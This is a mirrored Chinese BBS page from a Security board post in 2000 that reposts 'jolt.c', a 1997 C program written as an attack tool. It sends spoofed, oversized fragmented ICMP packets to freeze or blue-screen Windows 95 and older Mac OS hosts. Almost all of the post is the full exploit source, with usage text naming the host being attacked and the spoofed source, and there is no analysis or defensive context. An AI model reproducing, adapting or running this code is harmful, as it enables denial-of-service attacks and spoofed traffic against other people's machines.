⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 446.htm

📁 unix高级编程原吗
💻 HTM
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="319.htm">上一层</a>][<a href="447.htm">下一篇</a>]
<hr><p align="left"><small>发信人: cloudsky (小四), 信区: Security <br>

标  题: jolt.c <br>

发信站: 武汉白云黄鹤站 (Mon Apr 10 11:42:32 2000), 站内信件 <br>

/* Jolt 1.0 (c) 1997 by Jeff w. Roberson <br>

 * Please, if you use my code give me credit.  Also, if i was the first to <br>

 * find this glitch, please give me credit.  Thats all i ask. <br>

 * <br>

 * Ok so all this does is build a really fraggmented over sized packet <br>

 * and once win95 gets it, and puts it back together it locks.  I send <br>

 * multiple packets by default cause some times it takes a few packets to <br>

 * totally freeze the host.  Maybe its spending processor time to figure <br>

 * out how to put them back together?  I've had reports of people blue <br>

 * screening from it tho so we'll let Microsoft's boys figure out exactly <br>

 * what this does to 95.  As of now i haven't tested it on NT, but maybe <br>

 * i will later ;).  All of this source wasn't origonally written by me <br>

 * I just took one of the old programs to kill POSIX and SYSV based <br>

 * systems and worked on it abit, then made it spoof =). <br>

 * VallaH  (yaway@hotmail.com) <br>

 * <br>

 *  Update: It apears to work on some older versions of mac os <br>

 */ <br>

/* Yah this is for linux, but i like the BSD ip header better then linux's * <br>

/ <br>

/ <br>

#define __BSD_SOURCE <br>

#include <stdio.h> <br>

#include <sys/types.h> <br>

#include <sys/socket.h> <br>

#include <netdb.h> <br>

#include <netinet/in.h> <br>

#include <netinet/in_systm.h> <br>

#include <netinet/ip.h> <br>

#include <netinet/ip_icmp.h> <br>

#include <string.h> <br>

#include <arpa/inet.h> <br>

int main(int argc, char **argv) <br>

{ <br>

        int s,i; <br>

        char buf[400]; <br>

        struct ip *ip = (struct ip *)buf; <br>

        struct icmphdr *icmp = (struct icmphdr *)(ip + 1); <br>

        struct hostent *hp, *hp2; <br>

        struct sockaddr_in dst; <br>

        int offset; <br>

        int on = 1; <br>

        int num = 5; <br>



        bzero(buf, sizeof buf); <br>

        if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) { <br>

                perror("socket"); <br>

                exit(1); <br>

        } <br>

        if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { <br>

                perror("IP_HDRINCL"); <br>

                exit(1); <br>

        } <br>

        if (argc < 3) { <br>

                printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch b <br>

y Va <br>

llaH (yaway@hotmail.com)\n"); <br>

                printf("\nusage: %s <dstaddr> <saddr> [number]\n",argv[0]); <br>

                printf("\tdstaddr is the host your attacking\n"); <br>

                printf("\tsaddr is the host your spoofing from\n"); <br>

                printf("\tNumber is the number of packets to send, 5 is the <br>

defa <br>

ult\n"); <br>

                printf("\nNOTE:  This is based on a bug that used to affect <br>

POSI <br>

X complient, and SYSV \n\t systems so its nothing new..\n"); <br>



                printf("\nGreets to Bill Gates! How do ya like this one? :-) <br>

\n") <br>

; <br>

                exit(1); <br>

        } <br>

        if (argc == 4) num = atoi(argv[3]); <br>

    for (i=1;i<=num;i++) { <br>

        if ((hp = gethostbyname(argv[1])) == NULL) { <br>

                if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { <br>

                        fprintf(stderr, "%s: unknown host\n", argv[1]); <br>

                        exit(1); <br>

                } <br>

        } else { <br>

                bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); <br>

  <br>

        } <br>

        if ((hp2 = gethostbyname(argv[2])) == NULL) { <br>

                if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) { <br>

                        fprintf(stderr, "%s: unknown host\n", argv[2]); <br>

                        exit(1); <br>

                } <br>

        } else { <br>



                bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length) <br>

; <br>

        } <br>

        printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); <br>

        ip->ip_v = 4; <br>

        ip->ip_hl = sizeof *ip >> 2; <br>

        ip->ip_tos = 0; <br>

        ip->ip_len = htons(sizeof buf); <br>

        ip->ip_id = htons(4321); <br>

        ip->ip_off = htons(0); <br>

        ip->ip_ttl = 255; <br>

        ip->ip_p = 1; <br>

        ip->ip_csum = 0;                 /* kernel fills in */ <br>

        dst.sin_addr = ip->ip_dst; <br>

        dst.sin_family = AF_INET; <br>

        icmp->type = ICMP_ECHO; <br>

        icmp->code = 0; <br>

        icmp->checksum = htons(~(ICMP_ECHO << 8)); <br>

        for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip) <br>

) { <br>

                ip->ip_off = htons(offset >> 3); <br>

                if (offset < 65120) <br>



                        ip->ip_off |= htons(0x2000); <br>

                else <br>

                        ip->ip_len = htons(418);  /* make total 65538 */ <br>

                if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, <br>

                                        sizeof dst) < 0) { <br>

                        fprintf(stderr, "offset %d: ", offset); <br>

                        perror("sendto"); <br>

                } <br>

                if (offset == 0) { <br>

                        icmp->type = 0; <br>

                        icmp->code = 0; <br>

                        icmp->checksum = 0; <br>

                } <br>

        } <br>

    } <br>

        return 0; <br>

} <br>

-- <br>

            我问飘逝的风:来迟了? <br>

            风感慨:是的,他们已经宣战。 <br>

            我问苏醒的大地:还有希望么? <br>

            大地揉了揉眼睛:还有,还有无数代的少年。 <br>



            我问长空中的英魂:你们相信? <br>

            英魂带着笑意离去:相信,希望还在。 <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="319.htm">上一层</a>][<a href="447.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -